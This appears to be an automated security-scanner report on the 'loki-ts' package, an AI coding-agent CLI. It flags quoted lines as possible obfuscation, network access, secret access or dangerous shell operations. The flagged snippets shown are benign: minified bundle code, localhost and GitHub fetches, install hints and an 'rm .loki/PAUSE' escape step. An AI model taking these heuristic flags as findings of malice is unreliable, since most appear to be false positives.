`,aF0,$P8=100,ZP8,JP8=2,S2=($,Z)=>{let J=$.replace(/[\x00-\x1f\x7f|]+/g," ").trim();return J.length>Z?`${J.slice(0,Z-3)}...`:J},YP8=($)=>$.split( `).map((Z)=>Z.trim()).filter(Boolean).pop()??"",QP8,$l=($)=>$<90?`${Math.round($)}s`:`${Math.r - Possible obfuscationline 1515
`).map((Z)=>Z.trim()).filter(Boolean).pop()??"",QP8,$l=($)=>$<90?`${Math.round($)}s`:`${Math.round($/60)}m`,KP8,dF0=async()=>({ok:!0,hold:!1,reason:"not consulted"}),ZO0;var fR=_(()=>{x2();iB();iU();uF0();sZ();b0();_6();Vz();aF0=/^[A-Za-z0- - Possible obfuscationline 1517
`),J=await qO0("> ",VO0);let X=GO0(J);if(!X)return;HO0(Z,{run_id:$.runId,score:X.score,again:X.again,at:new Date().toISOString()})}function qO0($,Z,J=process.stdin,X=process.stderr){return new Promise((Y)=>{let Q=NP8({input:J,output:X}),W=! - Possible obfuscationline 1518
`),Z==="implement"){if($==="stage.started")this.implementOpen=!0;else if($==="stage.completed"||$==="stage.failed"||$==="stage.skipped")this.implementOpen=!1}return X}ingest($){let Z;try{Z=JSON.parse($)}catch{return null}if(typeof Z!=="obje - Possible obfuscationline 1519
`),uR(X,"stuck",c)});Mh(z);let G=setInterval(()=>{Mh(z),K.tick(Date.now())},EP8);G.unref();let H={...X};if(IB(H),$.resume)H.LOKI_E10_RESUME="1";H.LOKI_INTENT_TTY=X.LOKI_CONFIRM==="1"&&process.stdin.isTTY===!0&&process.stdout.isTTY===!0?"1": - Possible obfuscationline 1520
`)}if($.status){let c=await $.status({prUrl:x,outcome:String(Z0),reason:l});W.append("issue.commented",null,{argv:c?.argv??[],ok:c?.ok??!1,...c?.skipped?{skipped:!0}:{},reason:l??String(Z0)})}W.append("run.completed",null,{verdict:w,...D?{c - Possible obfuscationline 1545
`);let h=Date.now(),d=I9(N,z9(T)),v=[],p=(V0)=>{v.push(V0);let w0=(Date.parse(V0.ts)-h)/1000,q0=V0.data;if(V0.type.startsWith("stage.")&&V0.type!=="stage.started"){let U8=V0.type==="stage.completed"?"done":V0.type==="stage.failed"?"failed": - Possible obfuscationline 1547
`)}},Z0=()=>{},b=setInterval(()=>{if(q&&!H&&Jl(d))clearInterval(b),Z0=hY(d,p,{intervalMs:250})},100),l=()=>{},a=!q&&!H?new gd({tty:!!process.stdout.isTTY,write:(V0)=>{process.stdout.write(V0)},columns:ez(),graceS:3}):null;if(a){if(process.e - Possible obfuscationline 1553
`:RI(o,{pr:n.prUrl?{url:n.prUrl,draft:n.verdict!=="VERIFIED"}:null,verdict:n.verdict,outcome:n.outcome,reason:YQ(o,n.tampered,n.stop,n.outcome),receipt:{sha:n.tampered?null:n.receiptSha,tampered:n.tampered,signed:n.tampered?null:o.findLast( - Possible obfuscationline 1558
`):Xd(q8,y9),T0,7,z0?1:0)),!H&&n.outcome==="VERIFIED")await Promise.resolve().then(() => (BO0(),UO0)).then((V0)=>V0.maybeAsk({runId:T,env:process.env,isTTY:process.stdin.isTTY===!0&&process.stdout.isTTY===!0})).catch(()=>{});return n.outcom - Possible obfuscationline 1559
`).filter((X)=>J.test(X)).map((X)=>X.toLowerCase().replace(/[^a-z0-9]+/g,"-"))}function lR($,Z){if(Z.some((J)=>J.length>=yP8&&$.length>=J.length+3&&$.startsWith(J)&&!bP8.test($.slice(J.length))))return!0;for(let J=0;J<Z.length;J++)for(let X - Possible obfuscationline 1563
`)}function DO0($,Z){return new RegExp(`\\b${Z.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}\\b`).test($)}function hO0($,Z,J){if(Z.source==="changelog")return!1;return(DO0($,Z.path)||DO0($,_O0(Z.path)))&&fP8(xO0(J,Z.path))}function Ul($){return["L - Possible obfuscationline 1564
`)}function Bl($,Z,J){return R1({cmd:"comment",runId:$,prUrl:Z,file:J})}var mP8,uP8=2,cP8=7,dP8;var fO0=_(()=>{wO0();c5();mP8=["CHANGELOG.md","README.md"],dP8=new Set(["a","an","and","are","as","at","be","but","by","for","from","had","has", - Possible obfuscationline 1568
`)}})});return J.on("error",()=>{}),J.listen($),{path:$,stop:()=>{J.close();try{mO0($)}catch{}}}}var tP8=1e6;var nR=_(()=>{b0();G8();iZ();o9()});import{execFile as $A8}from"child_process";import{mkdirSync as ZA8,mkdtempSync as JA8,rmSync as - Possible obfuscationline 1577
`),F=BA8(UA8(H)),N=GA8(_8)}else if(q!==void 0)U="text",B=I4(q);else return{status:"failed",data:{},reason:"no task text and no issue.json: nothing to intake"};let O=A9($.repoDir),L=o8.runtimeEvidence?.(M)??null,C={...L?{runtime_evidence:L}: - Possible obfuscationline 1580
`);let H0=D(),_0=E(),i=await XL0($,Z,Y,s);w.project_model=Object.keys(i).length?{ms:_0(),at:H0,cached:i.project_model.cached===!0}:{skipped:"project model disabled or unavailable"};let n={},o=D(),e=await BW0($,Z,s.runners,n);w.deps_install= - Possible obfuscationline 1587
`);if(L)$.emit("route.escalated","fix",{...L});let P=J.fix?.diagnosis??null,T={sessionId:J.fix?.session_id??J.implement?.session_id??null,model:J.fix?.model??J.implement?.model??$.model},A=o8.effort?.fix(W,q.length>0),I={stage:"fix",tier:"d - Possible obfuscationline 1605
`});import{copyFileSync as EA8,existsSync as OL0,lstatSync as wA8,mkdirSync as LL0,mkdtempSync as jL0,readFileSync as DA8,realpathSync as ML0,rmSync as CL0,statSync as _A8,writeFileSync as xA8}from"fs";import{randomBytes as kA8}from"crypto" - Possible obfuscationline 1606
`).slice(-3).join(" | ");return hJ(`secure-scan failed (exit ${W.exitCode}): ${G}`)}async function El($,Z,J){let X=jL0(D$(PL0(),"loki-deep-secure-"));try{for(let Y of Z)if(OL0(D$($,Y))&&wA8(D$($,Y)).isFile())LL0(AL0(D$(X,Y)),{recursive:!0}) - Possible obfuscationline 1607
`)){if(Y>0||Q>0){if(W.startsWith("\\"))continue;if(W.startsWith("+")){if(J)J.set(X,W.slice(1));X++,Q--}else if(W.startsWith("-"))Y--;else X++,Y--,Q--;continue}if(W.startsWith("diff --git ")){J=null;continue}if(W.startsWith("+++ ")){let V=uA - Possible obfuscationline 1610
`)}}let H=await ZM(W,{scriptPath:Z.scriptPath,timeoutMs:Z.timeoutMs,secretsEverywhere:!0});if(!H.ok)return H;let q=new Map;for(let B of H.findings){if(B.rule!=="secret-in-client-file")continue;let M=V.get(B.file.split(NL0).join("/"));if(M)B - Possible obfuscationline 1611
${G.stderr}`),U=G.exitCode===0?void 0:await KJ({repoDir:$.repoDir,baseSha:$.baseSha,skip:v6($.repoDir,$.outputs().intake?.install_created),out:q,cmd:z.cmd,args:z.args,signal:Z,...J.path?{env:{PATH:J.path}}:{}});if(U){X.push({name:V,cmd:[z.c - Possible obfuscationline 1615
`);P.push(A)}if(T.length>0)G.push(`added lines could not be read: ${T.join(", ")}`);await U("content",L,P),await U("path",$.repoDir,C),B=await El(L,P,J.secureScanPath)}finally{iA8(L,{recursive:!0,force:!0})}}else await U("both",$.repoDir,Z) - Possible obfuscationline 1620
`),1;return 0}var wL0,IL0=300000,xL0,sA8;var ZE=_(()=>{qJ();BL0();wl();YT();F9();QU();ZR();v7();UV();lz();i8();$U();R2();c5();b0();G8();b3();wL0=y2(x0,"autonomy/lib/secret-scan.sh");xL0={name:"deep",...D5.deep,run:($,Z)=>Dl($,Z)},sA8=xL0}); - Network accessline 1683
} function loadVersion() { fetch("/version").then(function (r) { return r.json(); }).then(function (v) { - Network accessline 1684
function loadVersion() { fetch("/version").then(function (r) { return r.json(); }).then(function (v) { document.getElementById("version").textContent = - Network accessline 1685
fetch("/version").then(function (r) { return r.json(); }).then(function (v) { - Network accessline 1696
} function loadRuns() { fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) { - Network accessline 1697
function loadRuns() { fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) { var ul = document.getElementById("runs"); - Network accessline 1698
fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) { - Possible obfuscationline 1797
`}var fL0=async($,Z)=>{let J;try{J=decodeURIComponent(Z)}catch{return new Response("bad group id",{status:400})}return(await Promise.resolve().then(() => (vL0(),bL0))).groupResponse($,J)};import{join as oV}from"path";function YE($=new Date)
loki-ts/package.json
- Executable scriptline 1
Executable file
loki-ts/scripts/build.ts
- Executable scriptline 1
Executable file
loki-ts/scripts/gen-cli-modern-doc.ts
- Executable scriptline 1
Executable file
loki-ts/scripts/gen-command-lists.ts
- Executable scriptline 1
Executable file
loki-ts/src/cli.ts
- Executable scriptline 1
Executable file
loki-ts/src/cli/completions.ts
- Executable scriptline 1
Executable file
loki-ts/src/cli/inventory_doc.ts
- Executable scriptline 1
Executable file
loki-ts/src/cli/registry.ts
- Executable scriptline 1
Executable file
loki-ts/src/cockpit/capability.ts
- Executable scriptline 1
Executable file
loki-ts/src/cockpit/cli.ts
- Executable scriptline 1
Executable file
loki-ts/src/cockpit/encode.ts
- Executable scriptline 1
Executable file - Network accessline 6
// // References: // iTerm2 https://iterm2.com/documentation-images.html - Network accessline 7
// References: // iTerm2 https://iterm2.com/documentation-images.html // Kitty https://sw.kovidgoyal.net/kitty/graphics-protocol/ - Network accessline 8
// iTerm2 https://iterm2.com/documentation-images.html - Network accessline 9
// Kitty https://sw.kovidgoyal.net/kitty/graphics-protocol/
loki-ts/src/cockpit/raster.ts
- Executable scriptline 1
Executable file
loki-ts/src/cockpit/render.ts
- Executable scriptline 1
Executable file
loki-ts/src/cockpit/svg.ts
loki-ts/src/commands/completion.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/control.ts
- Executable scriptline 1
Executable file - Network accessline 31
The control plane URL comes from LOKI_CONTROL_URL, else http://127.0.0.1:\${LOKI_CONTROL_PORT:-${DEFAULT_PORT}}. - Network accessline 35
const baseUrl = (env: NodeJS.ProcessEnv): string => (env.LOKI_CONTROL_URL || `http://127.0.0.1:${env.LOKI_CONTROL_PORT || DEFAULT_PORT}`).replace(/\/+$/, ""); - Network accessline 71
let running = typeof inst.version === "string" ? inst.version : "unknown"; try { const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string }; - Network accessline 72
try { const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string }; if (h.service !== "loki-control") return null; // the recorded pid now belongs to s - Network accessline 73
const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string }; - Network accessline 97
} try { const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string }; - Network accessline 98
try { const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string }; if (h.service !== "loki-control") throw new Error("health identity is not loki-control"); - Network accessline 99
const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string }; - Network accessline 159
const url = baseUrl(env); try { const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number }; - Network accessline 160
try { const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number }; if (h.service !== "loki-control") throw new Error("not a loki control plane"); - Network accessline 161
const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number }; - Network accessline 164
let total: number | null = null; try { const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) }); - Network accessline 165
try { const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) }); if (!res.ok) throw new Error(`HTTP ${res.status}`); - Network accessline 166
const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) });
loki-ts/src/commands/crash.ts
loki-ts/src/commands/doctor.ts
- Executable scriptline 1
Executable file - Network accessline 451
export async function httpReachable(url: string, timeoutMs = 2000): Promise<boolean> { try { const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }); - Network accessline 452
try { const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }); return res.ok; - Network accessline 453
const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }); - Network accessline 548
pyImpl.fn("numpy", true), pyImpl.fn("sentence_transformers", true), integrationImpl.http("http://localhost:8100/api/v2/heartbeat"), - Network accessline 549
pyImpl.fn("sentence_transformers", true), integrationImpl.http("http://localhost:8100/api/v2/heartbeat"), Promise.all(LSP_BINS.map(async (bin) => ((await integrationImpl.command(bin)) ? bin : null))), - Network accessline 550
integrationImpl.http("http://localhost:8100/api/v2/heartbeat"), - Network accessline 1052
[Credential-related source omitted] - Network accessline 1053
const res = await fetch(`https://api.anthropic.com/v1/models/${encodeURIComponent(id)}`, { - Access to secretsline 1099
[Credential-related source omitted] - Access to secretsline 1100
[Credential-related source omitted] - Access to secretsline 1238
[Credential-related source omitted] - Access to secretsline 1243
[Credential-related source omitted] - Access to secretsline 1245
[Credential-related source omitted] - Access to secretsline 1250
[Credential-related source omitted] - Access to secretsline 1277
[Credential-related source omitted] - Access to secretsline 1278
[Credential-related source omitted] - Access to secretsline 1288
[Credential-related source omitted] - Access to secretsline 1290
[Credential-related source omitted] - Access to secretsline 1376
[Credential-related source omitted] - Access to secretsline 1377
[Credential-related source omitted] - Access to secretsline 1404
[Credential-related source omitted] - Network accessline 1533
else if (blockers.includes("jq is not installed")) key = "jq"; else if (blockers.includes("git is not installed")) key = "git"; else if (blockers.includes("curl is not installed")) key = "curl"; - Network accessline 1534
else if (blockers.includes("git is not installed")) key = "git"; else if (blockers.includes("curl is not installed")) key = "curl"; else if (blockers.includes("Free up disk")) key = "disk"; - Network accessline 1535
else if (blockers.includes("curl is not installed")) key = "curl"; - Access to secretsline 1694
[Credential-related source omitted] - Access to secretsline 1695
[Credential-related source omitted] - Access to secretsline 1700
[Credential-related source omitted] - Access to secretsline 1701
[Credential-related source omitted] - Access to secretsline 1716
[Credential-related source omitted] - Access to secretsline 1717
[Credential-related source omitted] - Access to secretsline 1721
[Credential-related source omitted] - Access to secretsline 1890
[Credential-related source omitted]
loki-ts/src/commands/doctor_fix.ts
- Executable scriptline 1
Executable file - Network accessline 69
const MANUAL: Record<string, string> = { node: "Install Node.js 20+: https://nodejs.org (or: brew install node)", - Network accessline 70
node: "Install Node.js 20+: https://nodejs.org (or: brew install node)", - Network accessline 72
jq: "Install jq: brew install jq (macOS) or apt install jq / dnf install jq (Linux)", git: "Install git: brew install git (macOS) or apt install git (Linux)", curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)", - Network accessline 73
git: "Install git: brew install git (macOS) or apt install git (Linux)", curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)", }; - Network accessline 74
curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)", - Access to secretsline 158
[Credential-related source omitted] - Network accessline 163
} if (!has("bun")) { manual.push("bun (optional, bundled by the npm package): see https://bun.sh"); - Network accessline 164
if (!has("bun")) { manual.push("bun (optional, bundled by the npm package): see https://bun.sh"); } - Network accessline 165
manual.push("bun (optional, bundled by the npm package): see https://bun.sh");
loki-ts/src/commands/export_sarif.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/internal_exec_manifest.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/internal_phase1.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 168
// reviews and resumes via `rm .loki/PAUSE` (optionally directing the agent with - Dangerous shell operationline 211
// the human-escape path (rm .loki/PAUSE, optionally .loki/HUMAN_INPUT.md). - Dangerous shell operationline 222
`Fix the finding, or use the human-escape path (rm .loki/PAUSE; optionally .loki/HUMAN_INPUT.md). ` +
loki-ts/src/commands/internal_sdk_judge.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/issues_epic.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/issues_run.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/kpis.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/memory.ts
- Executable scriptline 1
Executable file - Network accessline 7
import { mkdir } from "node:fs/promises"; import { suggestWord } from "../cli/registry.ts"; import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts"; - Network accessline 8
import { suggestWord } from "../cli/registry.ts"; import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts"; import { homeLokiDir, lokiDir, REPO_ROOT } from "../util/paths.ts"; - Network accessline 9
import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts"; - Network accessline 271
if (!repo) { const g = await defaultGh(["repo", "view", "--json", "nameWithOwner", "-q", ".nameWithOwner"]); if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github - Network accessline 272
const g = await defaultGh(["repo", "view", "--json", "nameWithOwner", "-q", ".nameWithOwner"]); if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth lo - Network accessline 273
if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`.\n"); return 1; }
loki-ts/src/commands/proof.ts
- Executable scriptline 1
Executable file - Access to secretsline 368
[Credential-related source omitted] - Network accessline 371
let resp: Response; try { resp = await fetch(endpoint, { - Network accessline 372
try { resp = await fetch(endpoint, { method: "POST", - Network accessline 373
resp = await fetch(endpoint, { - Network accessline 477
const enc = (s: string): string => encodeURIComponent(s.replace(/-/g, "--")); const label = "Loki"; const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`; - Network accessline 478
const label = "Loki"; const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`; const alt = "Verified by Loki"; - Network accessline 479
const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`; - Network accessline 680
process.stderr.write(" brew install gh # macOS\n"); process.stderr.write(" sudo apt install gh # Ubuntu/Debian\n"); process.stderr.write(" https://cli.github.com # Other platforms\n"); - Dangerous shell operationline 681
process.stderr.write(" sudo apt install gh # Ubuntu/Debian\n"); - Network accessline 681
process.stderr.write(" sudo apt install gh # Ubuntu/Debian\n"); process.stderr.write(" https://cli.github.com # Other platforms\n"); return false; - Network accessline 682
process.stderr.write(" https://cli.github.com # Other platforms\n");
loki-ts/src/commands/provider.ts
- Executable scriptline 1
Executable file - Network accessline 6
import { resolve } from "node:path"; import { commandExists, commandVersion } from "../util/shell.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; - Network accessline 7
import { commandExists, commandVersion } from "../util/shell.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; import { lokiDir } from "../util/paths.ts"; - Network accessline 8
import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts";
loki-ts/src/commands/queue.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/rollback.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/run_status.ts
- Executable scriptline 1
Executable file - Network accessline 138
const port = env.LOKI_CONTROL_PORT || String(CONTROL_DEFAULT_PORT); if (!/^\d+$/.test(port)) return null; const url = `http://127.0.0.1:${port}`; - Network accessline 139
if (!/^\d+$/.test(port)) return null; const url = `http://127.0.0.1:${port}`; try { - Network accessline 140
const url = `http://127.0.0.1:${port}`; try { const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string }; - Network accessline 141
try { const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string }; return h.service === "loki-control" ? url : null; - Network accessline 142
const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string };
loki-ts/src/commands/start.ts
- Executable scriptline 1
Executable file - Network accessline 653
export function canonicalPrUrl(a: string): string | null { const m = /^https?:\/\/(?:www\.)?github\.com\/([A-Za-z0-9][\w.-]*\/[A-Za-z0-9][\w.-]*)\/pull\/(\d+)(?:[/?#].*)?$/i.exec(a); return m ? `https://github.com/${m[1]!}/pull/${m[2]!} - Network accessline 654
const m = /^https?:\/\/(?:www\.)?github\.com\/([A-Za-z0-9][\w.-]*\/[A-Za-z0-9][\w.-]*)\/pull\/(\d+)(?:[/?#].*)?$/i.exec(a); return m ? `https://github.com/${m[1]!}/pull/${m[2]!}` : null; } - Network accessline 655
return m ? `https://github.com/${m[1]!}/pull/${m[2]!}` : null;
loki-ts/src/commands/stats.ts
- Executable scriptline 1
Executable file - Network accessline 15
import { lokiDir } from "../util/paths.ts"; import { isGroupCostRecord } from "../metrics/kpis.ts"; import { BOLD, YELLOW, NC } from "../util/colors.ts"; - Network accessline 16
import { isGroupCostRecord } from "../metrics/kpis.ts"; import { BOLD, YELLOW, NC } from "../util/colors.ts"; import { readEvents } from "../engine10/events.ts"; - Network accessline 17
import { BOLD, YELLOW, NC } from "../util/colors.ts";
loki-ts/src/commands/status.ts
- Executable scriptline 1
Executable file - Network accessline 16
import { commandExists, run } from "../util/shell.ts"; import { findPython3 } from "../util/python.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; - Network accessline 17
import { findPython3 } from "../util/python.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; import { lokiDir, REPO_ROOT } from "../util/paths.ts"; - Network accessline 18
import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Network accessline 831
const enc = (x: string): string => encodeURIComponent(x.replace(/-/g, "--")); const link = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`; process.stdout.write(`[}-$ - Network accessline 832
const link = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`; process.stdout.write(`[}-${enc(message)}-${color})](${link})\n`); return 0; - Network accessline 833
process.stdout.write(`[}-${enc(message)}-${color})](${link})\n`); - Network accessline 867
lastStatus = null; try { const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) }); - Network accessline 868
try { const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) }); lastStatus = res.status; - Network accessline 869
const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) });
loki-ts/src/commands/trust.ts
loki-ts/src/commands/undo.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/undo_apply.ts
loki-ts/src/commands/verify_pr.ts
- Executable scriptline 1
Executable file - Network accessline 118
/** `https://github.com/o/r/pull/N` or `o/r#N`; anything else is refused. */ - Network accessline 130
* authorAssociation field, so the association comes from the REST issue object. A failed lookup is flagged, never guessed. */ export function defaultIssue(ref: string, env: NodeJS.ProcessEnv = process.env, fetch: (r: string) => { body?: st - Network accessline 131
export function defaultIssue(ref: string, env: NodeJS.ProcessEnv = process.env, fetch: (r: string) => { body?: string } = fetchIssue): IssueInfo { const body = fetch(ref).body ?? ""; const m = /^([^#]+)#(\d+)$/.exec(ref); - Network accessline 132
const body = fetch(ref).body ?? ""; - Network accessline 145
}; const issueRefs = (j.closingIssuesReferences ?? []).map((i) => `${i.repository?.owner?.login ?? ref.repo.split("/")[0]}/${i.repository?.name ?? ref.repo.split("/")[1]}#${i.number}`); return { baseSha: j.baseRefOid, headSha: j.headRef - Network accessline 146
const issueRefs = (j.closingIssuesReferences ?? []).map((i) => `${i.repository?.owner?.login ?? ref.repo.split("/")[0]}/${i.repository?.name ?? ref.repo.split("/")[1]}#${i.number}`); return { baseSha: j.baseRefOid, headSha: j.headRefOid, - Network accessline 147
return { baseSha: j.baseRefOid, headSha: j.headRefOid, cloneUrl: `https://github.com/${ref.repo}.git`, issueRefs }; - Access to secretsline 169
[Credential-related source omitted] - Network accessline 298
const USAGE = "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]\nDerives a check from the PR's linked issue; VERIFIED only if it fails on base, passes on head, and package suites pass.\nPR code runs only in
loki-ts/src/commands/version.ts
- Executable scriptline 1
Executable file
loki-ts/src/commands/wiki.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/ai_bom.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/brief_facts.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/cost_records.ts
loki-ts/src/contrib/effort_policy.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/eta.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/forecast.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/index.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/plan_cmd.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/receipt_time.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/runtime_evidence.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/sarif.ts
- Executable scriptline 1
Executable file - Network accessline 24
const SCHEMA = "https://json.schemastore.org/sarif-2.1.0.json"; - Network accessline 77
name: "Loki Mode", version: toolVersion, informationUri: "https://www.autonomi.dev/", - Network accessline 78
version: toolVersion, informationUri: "https://www.autonomi.dev/", rules: used.map((r) => ({ id: r.id, name: r.name, shortDescription: { text: r.text } })), - Network accessline 79
informationUri: "https://www.autonomi.dev/",
loki-ts/src/contrib/slack_inbound.ts
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Network accessline 221
[Credential-related source omitted] - Network accessline 222
[Credential-related source omitted] - Network accessline 223
[Credential-related source omitted] - Network accessline 234
[Credential-related source omitted] - Network accessline 235
[Credential-related source omitted] - Network accessline 236
[Credential-related source omitted] - Access to secretsline 266
[Credential-related source omitted] - Network accessline 278
const serve = opts.serve ?? ((o) => Bun.serve(o)); const server = serve({ hostname: host, port, fetch: makeSlackFetch(secret, state, deps) }); process.stdout.write(`slack: listening on http://${host}:${server.port}\n`); - Network accessline 279
const server = serve({ hostname: host, port, fetch: makeSlackFetch(secret, state, deps) }); process.stdout.write(`slack: listening on http://${host}:${server.port}\n`); if (opts.wait === false) return 0; - Network accessline 280
process.stdout.write(`slack: listening on http://${host}:${server.port}\n`);
loki-ts/src/contrib/stage_capability.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/status.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/verify_pr_f2p.ts
- Executable scriptline 1
Executable file
loki-ts/src/contrib/wall_snapshot.ts
- Executable scriptline 1
Executable file
loki-ts/src/council/finding_schema.ts
- Executable scriptline 1
Executable file
loki-ts/src/council/role_agents.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/assert_delta.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/budget_cap.ts
loki-ts/src/e10ext/commit_filter.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/compound_match.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/context.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/discard.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/liveline.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/preexisting_dirty.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/repomemory.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/reviewer_body.ts
- Executable scriptline 1
Executable file - Network accessline 54
L.push(`- On another machine: the author runs \`loki proof bundle ${i.runId}\`; the reviewer runs \`loki verify --pubkey pubkey.jwk receipt.json\`${/^\d+\.\d+\.\d+/.test(version) ? " or adds this step to a workflow:" : " or adds the receipt - Network accessline 55
if (/^\d+\.\d+\.\d+/.test(version)) L.push(`- \`uses: asklokesh/loki-mode/.github/actions/receipt-check@v${version}\``); if (env["LOKI_PR_FOOTER"] !== "0") L.push("", `${i.verdict === "VERIFIED" && !i.draftReason ? "Built and verified wit - Network accessline 56
if (env["LOKI_PR_FOOTER"] !== "0") L.push("", `${i.verdict === "VERIFIED" && !i.draftReason ? "Built and verified with" : "Built with"} Loki Mode: https://github.com/asklokesh/loki-mode`); // static text, no network call, no telemetry
loki-ts/src/e10ext/scope.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/select.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/ship_hook.ts
loki-ts/src/e10ext/stop_restore.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/treeswap.ts
- Executable scriptline 1
Executable file
loki-ts/src/e10ext/wall_hints.ts
- Executable scriptline 1
Executable file - Possible obfuscationline 11
cargo: `${COMMANDS.cargo.cmd}. Write an integration test file directly under tests/ that calls the crate's public API. Example: #[test] fn name() { assert_eq!(my_crate::f(1), 2); } Run: ${COMMANDS.cargo.cmd} --test <stem>.`, maven: `Maven
loki-ts/src/engine10/already_done.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/cache.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/cli.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/cost.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/events.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/failures.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/fetch_issue.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/hooks.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/integrate.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/keys_cmd.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/machine.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/cli.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/cluster.ts
- Executable scriptline 1
Executable file
